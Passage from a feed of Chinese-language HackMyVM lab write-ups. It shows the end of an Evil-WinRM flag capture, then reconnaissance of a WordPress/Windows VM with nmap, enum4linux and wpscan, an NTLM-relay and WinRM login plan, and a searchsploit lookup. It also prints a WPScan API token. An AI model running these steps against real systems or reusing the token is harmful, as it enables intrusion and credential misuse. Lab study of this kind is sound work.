SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;*Evil-WinRM* PS C:\Program Files\Tenable\Nessus&amp;gt; cd c:/users/Administrator
*Evil-WinRM* PS C:\users\Administrator&amp;gt; cd desktop
*Evil-WinRM* PS C:\users\Administrator\desktop&amp;gt; dir


    Directory: C:\users\Administrator\desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/18/2024  12:11 PM             70 root.txt

*Evil-WinRM* PS C:\users\nesus\Desktop&amp;gt; type user.txt
72113f41d43e88eb5d67f732668bc3d1

*Evil-WinRM* PS C:\users\Administrator\desktop&amp;gt; type root.txt
b5fc5a4ebfc20cc18220a814e1aee0aa
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;关于验证哪些函数可用dll劫持&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.nirsoft.net/utils/dll_export_viewer.html&quot;&gt;DLL Export Viewer&lt;/a&gt; 可用查看哪些函数可用，然后用于编写脚本进行劫持。&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/nessus/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/nessus/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Thu, 29 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-TriplAdvisor</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/tripladvisor/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/tripladvisor/</guid><description>Hope you enjoy it.</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/TriplAdvisor-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# ifconfig

eth0: flags=4163&amp;lt;UP,BROADCAST,RUNNING,MULTICAST&amp;gt;  mtu 1500
        inet 192.168.0.108  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80::cb0c:b9b1:dfd6:d4a5  prefixlen 64  scopeid 0x20&amp;lt;link&amp;gt;
        ether 00:0c:29:3d:0e:65  txqueuelen 1000  (Ethernet)
        RX packets 196  bytes 20063 (19.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 535  bytes 33812 (33.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep 08:00:27

WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
192.168.0.102   08:00:27:70:a3:d3       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;rustscan扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# rustscan -a 192.168.0.102 --ulimit 5000 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-&amp;#39; `-&amp;#39;`-----&amp;#39;`----&amp;#39;  `-&amp;#39;  `----&amp;#39;  `---&amp;#39; `-&amp;#39;  `-&amp;#39;`-&amp;#39; `-&amp;#39;
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
I scanned ports so fast, even my computer was surprised.

[~] The config file is expected to be at &amp;quot;/root/.rustscan.toml&amp;quot;
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan&amp;#39;s speed. Use the Docker image, or up the Ulimit with &amp;#39;--ulimit 5000&amp;#39;. 
Open 192.168.0.102:445
Open 192.168.0.102:5985
Open 192.168.0.102:8080
[~] Starting Script(s)
[&amp;gt;] Running script &amp;quot;nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A&amp;quot; on ip 192.168.0.102
Depending on the complexity of the script, results may take some time to appear.

Completed ARP Ping Scan at 23:18, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:18
Completed Parallel DNS resolution of 1 host. at 23:18, 0.04s elapsed
DNS resolution of 1 IPs took 0.04s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 23:18
Scanning 192.168.0.102 [3 ports]
Discovered open port 5985/tcp on 192.168.0.102
Discovered open port 8080/tcp on 192.168.0.102
Discovered open port 445/tcp on 192.168.0.102

PORT     STATE SERVICE       REASON          VERSION
445/tcp  open  microsoft-ds? syn-ack ttl 128
5985/tcp open  http          syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp open  http          syn-ack ttl 128 Apache httpd
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Unknown favicon MD5: 3BD2EC61324AD4D27CB7B0F484CD4289
|_http-title: Did not follow redirect to http://tripladvisor:8080/wordpress/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
MAC Address: 08:00:27:70:A3:D3 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|phone
Running: Microsoft Windows 7|Phone
OS CPE: cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows
OS details: Microsoft Windows Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.0
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/26%OT=445%CT=%CU=%PV=Y%DS=1%DC=D%G=N%M=080027%TM=
OS:69783CF3%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10C%TI=I%II=I%SS=S%T
OS:S=7)OPS(O1=M5B4NW8ST11%O2=M5B4NW8ST11%O3=M5B4NW8NNT11%O4=M5B4NW8ST11%O5=
OS:M5B4NW8ST11%O6=M5B4ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2
OS:000)ECN(R=Y%DF=Y%TG=80%W=2000%O=M5B4NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%TG=80%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)U1(R=N)IE(R=Y%DFI=N%TG=80%CD=Z)

Uptime guess: 0.005 days (since Mon Jan 26 23:12:46 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 23183/tcp): CLEAN (Timeout)
|   Check 2 (port 2137/tcp): CLEAN (Timeout)
|   Check 3 (port 12633/udp): CLEAN (Timeout)
|   Check 4 (port 42984/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2026-01-27T20:19:22
|_  start_date: 2026-01-27T20:13:04
|_clock-skew: 15h59m57s
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;开放端口总览&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;端口&lt;/th&gt;
&lt;th&gt;服务&lt;/th&gt;
&lt;th&gt;关键信息&lt;/th&gt;
&lt;th&gt;价值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;445&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SMB&lt;/td&gt;
&lt;td&gt;SMBv2，&lt;strong&gt;签名开启但非强制&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;5985&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;WinRM&lt;/td&gt;
&lt;td&gt;Microsoft HTTPAPI/2.0&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;8080&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache → WordPress 重定向&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h5&gt;445 / SMB（重点之一）&lt;/h5&gt;
&lt;h6&gt;你现在知道的&lt;/h6&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SMB2
Message signing enabled but not required
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉 &lt;strong&gt;这是好消息&lt;/strong&gt;&lt;br&gt;意思是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;可以尝试 &lt;strong&gt;NTLM relay&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;可以尝试 &lt;strong&gt;匿名枚举&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;不是“铁板 SMB”&lt;/li&gt;
&lt;/ul&gt;
&lt;h6&gt;下一步必做&lt;/h6&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;enum4linux -a 192.168.0.102
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或更直接：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;nmap -p445 --script smb-enum-shares,smb-enum-users,smb-os-discovery 192.168.0.102
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;目标是拿到：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用户名&lt;/li&gt;
&lt;li&gt;共享&lt;/li&gt;
&lt;li&gt;域 / 主机名&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h5&gt;🧠 5985 / WinRM（潜在直接拿 Shell）&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;5985/tcp open  http  Microsoft HTTPAPI httpd 2.0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WinRM 的规则很简单：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;有凭据 = 直接管理员 Shell&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你现在缺的不是漏洞，是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用户名&lt;/li&gt;
&lt;li&gt;密码 / hash&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一旦从 &lt;strong&gt;WordPress / SMB&lt;/strong&gt; 拿到凭据，直接：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;evil-winrm -i 192.168.0.102 -u USER -p PASS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或 hash：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;evil-winrm -i 192.168.0.102 -u USER -H NTLM_HASH
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h5&gt;🔥 8080 / Web（当前最优先）&lt;/h5&gt;
&lt;h6&gt;核心信息&lt;/h6&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Apache httpd
Redirect → http://tripladvisor:8080/wordpress/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这句话 &lt;strong&gt;非常关键&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;👉 这是一个 &lt;strong&gt;WordPress 站点&lt;/strong&gt;&lt;br&gt;👉 还泄露了 &lt;strong&gt;主机名：tripladvisor&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h5&gt;8080 端口的标准攻击流程（照着打）&lt;/h5&gt;
&lt;h6&gt;1️⃣ 先修 hosts（否则 WP 扫描会坑你）&lt;/h6&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;echo &amp;quot;192.168.0.102 tripladvisor&amp;quot; &amp;gt;&amp;gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后访问：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;http://tripladvisor:8080/wordpress/
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h6&gt;2️⃣ WordPress 指纹 + 用户枚举&lt;/h6&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;wpscan --url http://tripladvisor:8080/wordpress/ --enumerate u,p,t
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重点看：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;👤 用户名&lt;/li&gt;
&lt;li&gt;🔌 插件（是否有已知 CVE）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;enum4linux&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# enum4linux -a 192.168.0.102
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Jan 27 03:07:46 2026

 =========================================( Target Information )=========================================

Target ........... 192.168.0.102
RID Range ........ 500-550,1000-1050
Username ......... &amp;#39;&amp;#39;
Password ......... &amp;#39;&amp;#39;
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 192.168.0.102 )===========================


[E] Can&amp;#39;t find workgroup/domain



 ===============================( Nbtstat Information for 192.168.0.102 )===============================        
                                                        
Looking up status of 192.168.0.102                      
No reply from 192.168.0.102

 ===================================( Session Check on 192.168.0.102 )===================================       
                                                        
                                                        
[+] Server 192.168.0.102 allows sessions using username &amp;#39;&amp;#39;, password &amp;#39;&amp;#39;                                         
                                                        
                                                        
 ================================( Getting domain SID for 192.168.0.102 )================================       
                                                        
do_cmd: Could not initialise lsarpc. Error was NT_STATUS_ACCESS_DENIED

[+] Can&amp;#39;t determine if host is part of domain or part of a workgroup                                            
                                                        
                                                        
 ==================================( OS information on 192.168.0.102 )==================================        
                                                        
                                                        
[E] Can&amp;#39;t get OS info with smbclient                    
                                                        
                                                        
[+] Got OS info for 192.168.0.102 from srvinfo:         
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED


 =======================================( Users on 192.168.0.102 )=======================================       
                                                        
                                                        
[E] Couldn&amp;#39;t find users using querydispinfo: NT_STATUS_ACCESS_DENIED                                            
                                                        
                                                        

[E] Couldn&amp;#39;t find users using enumdomusers: NT_STATUS_ACCESS_DENIED                                             
                                                        
                                                        
 =================================( Share Enumeration on 192.168.0.102 )=================================       
                                                        
do_connect: Connection to 192.168.0.102 failed (Error NT_STATUS_IO_TIMEOUT)

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 192.168.0.102           
                                                        
                                                        
 ===========================( Password Policy Information for 192.168.0.102 )===========================        
                                                        
ldapsea                                                 
[E] Unexpected error from polenum:                      
                                                        
                                                        

[+] Attaching to 192.168.0.102 using a NULL share

[+] Trying protocol 139/SMB...

        [!] Protocol failed: [Errno Connection error (192.168.0.102:139)] timed out

[+] Trying protocol 445/SMB...

        [!] Protocol failed: SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.



[E] Failed to get password policy with rpcclient        
                                                        
                                                        

 ======================================( Groups on 192.168.0.102 )======================================        
                                                        
                                                        
[+] Getting builtin groups:                             
                                                        
                                                        
[+]  Getting builtin group memberships:                 
                                                        
                                                        
[+]  Getting local groups:                              
                                                        
                                                        
[+]  Getting local group memberships:                   
                                                        
                                                        
[+]  Getting domain groups:                             
                                                        
                                                        
[+]  Getting domain group memberships:                  
                                                        
                                                        
 ==================( Users on 192.168.0.102 via RID cycling (RIDS: 500-550,1000-1050) )==================       
                                                        
                                                        
[E] Couldn&amp;#39;t get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.                                       
                                                        
                                                        
 ===============================( Getting printer info for 192.168.0.102 )===============================       
                                                        
do_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED


enum4linux complete on Tue Jan 27 03:08:42 2026
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wpscan&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# echo &amp;quot;192.168.0.102 tripladvisor&amp;quot; &amp;gt;&amp;gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;扫描分俩段式&lt;/p&gt;
&lt;h3&gt;第一段：快，找入口&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;wpscan --url http://tripladvisor:8080/wordpress/ \
  -e u,vp \
  --plugins-detection mixed \
  --api-token &amp;quot;NEzNxgvCrcyIZN1aYoHxHyUda29vcAIcsbaCrFngLA0&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;目的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;找 &lt;strong&gt;能打的插件&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;找 &lt;strong&gt;用户&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;用时：几分钟&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;第二段：只对“命中插件”开 aggressive&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;wpscan --url http://tripladvisor:8080/wordpress/ \
  --plugins-detection aggressive \
  --plugins-list plugin1,plugin2,plugin3 \
  --api-token YOUR_TOKEN
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;参数&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ep&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;仅已知有漏洞的插件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;所有插件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;at&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;所有主题&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;时间线用户枚举&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cb&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;配置备份文件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;dbe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;数据库导出&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--themes-detection aggressive&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;主题也暴力&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--max-threads 5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;降速防封&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;扫描详情&lt;/h3&gt;
&lt;p&gt;太卡了太卡了太卡了太卡了！！！！！！&lt;/p&gt;
&lt;p&gt;扫不了一点&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;wpscan --url http://tripladvisor:8080/wordpress/ \
  -e u,ap,at,tt,cb,dbe \
  --plugins-detection aggressive \
  --themes-detection aggressive \
  --api-token YOUR_TOKEN \
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这条指令要扫三天&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;wpscan --url http://tripladvisor:8080/wordpress/ \
  -e u,vp \
  --plugins-detection mixed \
  --api-token &amp;quot;NEzNxgvCrcyIZN1aYoHxHyUda29vcAIcsbaCrFngLA0&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# wpscan --url http://tripladvisor:8080/wordpress/  --api-token &amp;quot;NEzNxgvCrcyIZN1aYoHxHyUda29vcAIcsbaCrFngLA0&amp;quot;
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | &amp;#39;_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://tripladvisor:8080/wordpress/ [192.168.0.102]
[+] Started: Tue Jan 27 03:53:05 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://tripladvisor:8080/wordpress/xmlrpc.php
 | Found By: Headers (Passive Detection)
 | Confidence: 100%
 | Confirmed By:
 |  - Link Tag (Passive Detection), 30% confidence
 |  - Direct Access (Aggressive Detection), 100% confidence
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://tripladvisor:8080/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://tripladvisor:8080/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://tripladvisor:8080/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.1.19 identified (Insecure, released on 2024-06-24).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://tripladvisor:8080/wordpress/, Match: &amp;#39;-release.min.js?ver=5.1.19&amp;#39;
 | Confirmed By: Most Common Wp Includes Query Parameter In Homepage (Passive Detection)
 |  - http://tripladvisor:8080/wordpress/wp-includes/css/dist/block-library/style.min.css?ver=5.1.19
 |  - http://tripladvisor:8080/wordpress/wp-includes/js/wp-embed.min.js?ver=5.1.19
 |
 | [!] 2 vulnerabilities identified:
 |
 | [!] Title: WP &amp;lt; 6.8.3 - Author+ DOM Stored XSS
 |     Fixed in: 5.1.21
 |     References:
 |      - https://wpscan.com/vulnerability/c4616b57-770f-4c40-93f8-29571c80330a
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-58674
 |      - https://patchstack.com/database/wordpress/wordpress/wordpress/vulnerability/wordpress-wordpress-wordpress-6-8-2-cross-site-scripting-xss-vulnerability
 |      -  https://wordpress.org/news/2025/09/wordpress-6-8-3-release/
 |
 | [!] Title: WP &amp;lt; 6.8.3 - Contributor+ Sensitive Data Disclosure
 |     Fixed in: 5.1.21
 |     References:
 |      - https://wpscan.com/vulnerability/1e2dad30-dd95-4142-903b-4d5c580eaad2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-58246
 |      - https://patchstack.com/database/wordpress/wordpress/wordpress/vulnerability/wordpress-wordpress-wordpress-6-8-2-sensitive-data-exposure-vulnerability
 |      - https://wordpress.org/news/2025/09/wordpress-6-8-3-release/

[+] WordPress theme in use: expert-adventure-guide
 | Location: http://tripladvisor:8080/wordpress/wp-content/themes/expert-adventure-guide/
 | Last Updated: 2026-01-13T00:00:00.000Z
 | Readme: http://tripladvisor:8080/wordpress/wp-content/themes/expert-adventure-guide/readme.txt
 | [!] The version is out of date, the latest version is 11.4
 | Style URL: http://tripladvisor:8080/wordpress/wp-content/themes/expert-adventure-guide/style.css?ver=5.1.19
 | Style Name: Expert Adventure Guide
 | Style URI: https://www.seothemesexpert.com/wordpress/free-adventure-wordpress-theme/
 | Description: Expert Adventure Guide is a specialized and user-friendly design crafted for professional adventure ...
 | Author: drakearthur
 | Author URI: https://www.seothemesexpert.com/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 1.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://tripladvisor:8080/wordpress/wp-content/themes/expert-adventure-guide/style.css?ver=5.1.19, Match: &amp;#39;Version: 1.0&amp;#39;

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] editor
 | Location: http://tripladvisor:8080/wordpress/wp-content/plugins/editor/
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 |
 | Version: 1.1 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://tripladvisor:8080/wordpress/wp-content/plugins/editor/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://tripladvisor:8080/wordpress/wp-content/plugins/editor/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
[i] No Config Backups Found.

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 3
 | Requests Remaining: 18

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;想尝试枚举的但是太慢了换个思路&lt;/p&gt;
&lt;p&gt;根据扫描我们发现了存在editor的插件且给出了readme.txt&lt;/p&gt;
&lt;p&gt;访问&lt;a href=&quot;http://tripladvisor:8080/wordpress/wp-content/plugins/editor/readme.txt&quot;&gt;http://tripladvisor:8080/wordpress/wp-content/plugins/editor/readme.txt&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;可以得知全称为Site Editor&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# searchsploit -s Site Editor 
------------------------ ---------------------------------
 Exploit Title          |  Path
------------------------ ---------------------------------
Apple WebKit / Safari 1 | multiple/webapps/42064.html
CityPost PHP Image Edit | php/webapps/25459.txt
CKEditor - &amp;#39;posteddata. | php/webapps/38322.txt
CKEditor 5 35.4.0 - Cro | php/webapps/51260.txt
Django CMS 3.3.0 - Edit | python/webapps/40129.txt
Dreambox Plugin Bouquet | hardware/webapps/42986.txt
Drupal Module CKEditor  | php/webapps/18389.txt
Drupal Module CKEditor  | php/webapps/25493.txt
EasySite 2.0 - &amp;#39;image_e | php/webapps/31588.txt
FCKEditor Core - &amp;#39;Edito | php/webapps/37457.html
FlexCMS 2.5 - &amp;#39;inc-core | php/webapps/32254.txt
Jax PHP Scripts 1.0/1.3 | php/webapps/26081.txt
Kim Websites 1.0 - &amp;#39;FCK | php/webapps/6410.txt
KindEditor - &amp;#39;name&amp;#39; Cro | php/webapps/37652.txt
Mambo Open Source 4.6.2 | php/webapps/32253.txt
Moeditor 0.2.0 - Persis | multiple/webapps/49830.js
MoinMoin 1.x - &amp;#39;PageEdi | cgi/webapps/34080.txt
MyBB Visual Editor 1.8. | php/webapps/45449.txt
Nakid CMS 1.0.2 - &amp;#39;CKEd | php/webapps/35829.txt
Network Weathermap 0.97 | php/webapps/24913.txt
ocPortal 7.1.5 - &amp;#39;code_ | php/webapps/37022.txt
Orbis CMS 1.0.2 - &amp;#39;edit | php/webapps/34253.txt
Plesk Small Business Ma | php/webapps/15313.txt
pragmaMx 1.12.1 - &amp;#39;/inc | php/webapps/37313.txt
Site@School 2.4.10 - &amp;#39;F | php/webapps/6005.php
SiteWare 2.5/3.0/3.1 Ed | java/webapps/20925.txt
SnippetMaster Webpage E | php/webapps/8017.txt
WordPress Plugin Site E | php/webapps/44340.txt
WordPress Plugin User R | php/webapps/25721.txt
------------------------ ---------------------------------
Shellcodes: No Results
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看见WordPress Plugin Site E | php/webapps/44340.txt&lt;/p&gt;
&lt;p&gt;这个可能会是&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
